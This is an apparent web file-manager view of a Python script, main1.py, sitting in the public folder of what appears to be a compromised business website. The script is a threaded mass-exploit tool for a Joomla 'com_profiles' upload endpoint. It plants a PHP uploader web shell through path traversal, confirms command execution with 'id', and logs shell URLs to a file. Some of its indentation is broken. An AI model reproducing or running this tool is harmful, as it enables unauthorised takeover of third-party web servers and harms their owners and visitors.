文件操作 - main1.py

文件: /home/tecnoht/public_html/onoranzefunebricastelli--com/main1.py

编辑文件内容

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import argparse
import sys
import os
import requests
import threading
import random
import string
from concurrent.futures import ThreadPoolExecutor, as_completed
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

RED = '\033[91m'
GREEN = '\033[92m'
YELLOW = '\033[93m'
CYAN = '\033[96m'
RESET = '\033[0m'

SHELL = '''<?php
echo "OK<center><pre>".php_uname()."\\n<b>{ Uploader By RootNetx}</b><form method='post' enctype='multipart/form-data'><input type='file' name='__'><input name='_' type='submit' value='Upload>>'></form>";
if($_POST){
    if(@copy($_FILES['__']['tmp_name'], $_FILES['__']['name'])){
        echo '<b>Uploaded [+]';
    }else{
        echo '<b>Not Uploaded [X]';
    }
}
?>'''

def clean(url):
    url = str(url).strip()
    if not url.startswith(('http://', 'https://')):
        url = 'https://' + url
    return url.rstrip('/')

def check_joomla(url, s):
    try:
        r = s.get(url, timeout=10, verify=False)
        if r.status_code == 200:
            return 'joomla' in r.text.lower() or 'administrator' in r.text
    except:
        pass
    return False

def check_profiles_plugin(url, s):
    try:
        test_url = url + '/administrator/components/com_profiles/'
        r = s.head(test_url, timeout=10, verify=False)
        return r.status_code < 500
    except:
        pass
    return False

def exploit(target, output_file=None):
    s = requests.Session()
    s.headers.update({'User-Agent': 'Mozilla/5.0'})
    lock = threading.Lock()
    url = clean(target)
    
    if not check_joomla(url, s):
        return {"target": url, "status": "NO_JOOMLA", "shell_url": None}
    
    if not check_profiles_plugin(url, s):
        return {"target": url, "status": "NO_PROFILES", "shell_url": None}
    
    shell_name = ''.join(random.choices(string.ascii_lowercase + string.digits, k=10))
    exploit_url = url + '/administrator/components/com_profiles/filemanager/controller/xhrupload.php?task=xhr&dir=images'
    traversal_filename = '../../../../' + shell_name + '.php'
    
    headers = {
        'X-Filename': traversal_filename,
        'Content-Type': 'application/octet-stream',
    }
    
    try:
        r = s.post(exploit_url, data=SHELL.encode(), headers=headers, timeout=15, verify=False)
    except:
        return {"target": url, "status": "ERROR", "shell_url": None}
    
    shell_url = url + '/' + shell_name + '.php'
    
    try:
        r = s.get(shell_url, timeout=10, verify=False)
        if r.status_code == 200 and 'OK' in r.text and 'RootNetx' in r.text:
            cmd_url = shell_url + '?c=id'
            r_cmd = s.get(cmd_url, timeout=10, verify=False)
            if 'uid=' in r_cmd.text or 'gid=' in r_cmd.text:
                if output_file:
                    with open(output_file, 'a') as f:
                        f.write(url + ' | ' + shell_url + '\n')
                return {"target": url, "status": "RCE_CONFIRMED", "shell_url": shell_url}
            else:
                return {"target": url, "status": "SHELL_NO_RCE", "shell_url": shell_url}
        else:
            return {"target": url, "status": "UPLOAD_FAILED", "shell_url": None}
    except:
        return {"target": url, "status": "ERROR", "shell_url": None}

def main():
    parser = argparse.ArgumentParser(description="Joomla Profiles xhrupload RCE Exploit")
    parser.add_argument('-l', '--list', help='Target list file')
    parser.add_argument('-t', '--threads', type=int, default=20, help='Threads (default: 20)')
    parser.add_argument('-o', '--output', default='shells.txt', help='Output file (default: shells.txt)')
    parser.add_argument('url', nargs='?', help='Single target URL')
    args = parser.parse_args()

if args.list:
        with open(args.list, 'r') as f:
            targets = [line.strip() for line in f if line.strip() and not line.startswith('#')]
        print(f"[*] {len(targets)} targets loaded")
        
        results = []
        with ThreadPoolExecutor(max_workers=args.threads) as executor:
            futures = {executor.submit(exploit, t, args.output): t for t in targets}
            for future in as_completed(futures):
                result = future.result()
                results.append(result)
                if result['status'] == 'RCE_CONFIRMED':
                    print(f"{GREEN}[+] SHELL: {result['target']} -> {result['shell_url']}{RESET}")
                elif result['status'] == 'SHELL_NO_RCE':
                    print(f"{YELLOW}[?] SHELL (NO RCE): {result['target']}{RESET}")
                else:
                    print(f"{RED}[-] {result['status']}: {result['target']}{RESET}")
        
        rce_count = sum(1 for r in results if r['status'] == 'RCE_CONFIRMED')
        print(f"\n[*] Done: {rce_count} RCE shells found")
        if rce_count:
            print(f"[+] Saved to {args.output}")
        return 0

elif args.url:
        result = exploit(args.url, args.output)
        if result['status'] == 'RCE_CONFIRMED':
            print(f"{GREEN}[+] SHELL: {result['target']} -> {result['shell_url']}{RESET}")
        elif result['status'] == 'SHELL_NO_RCE':
            print(f"{YELLOW}[?] SHELL (NO RCE): {result['target']}{RESET}")
        else:
            print(f"{RED}[-] {result['status']}: {result['target']}{RESET}")
        return 0

else:
        parser.print_help()
        return 1

if __name__ == "__main__":
    sys.exit(main())

文件操作 - main1.py

文件: /home/tecnoht/public_html/onoranzefunebricastelli--com/main1.py

编辑文件内容

修改文件时间

删除文件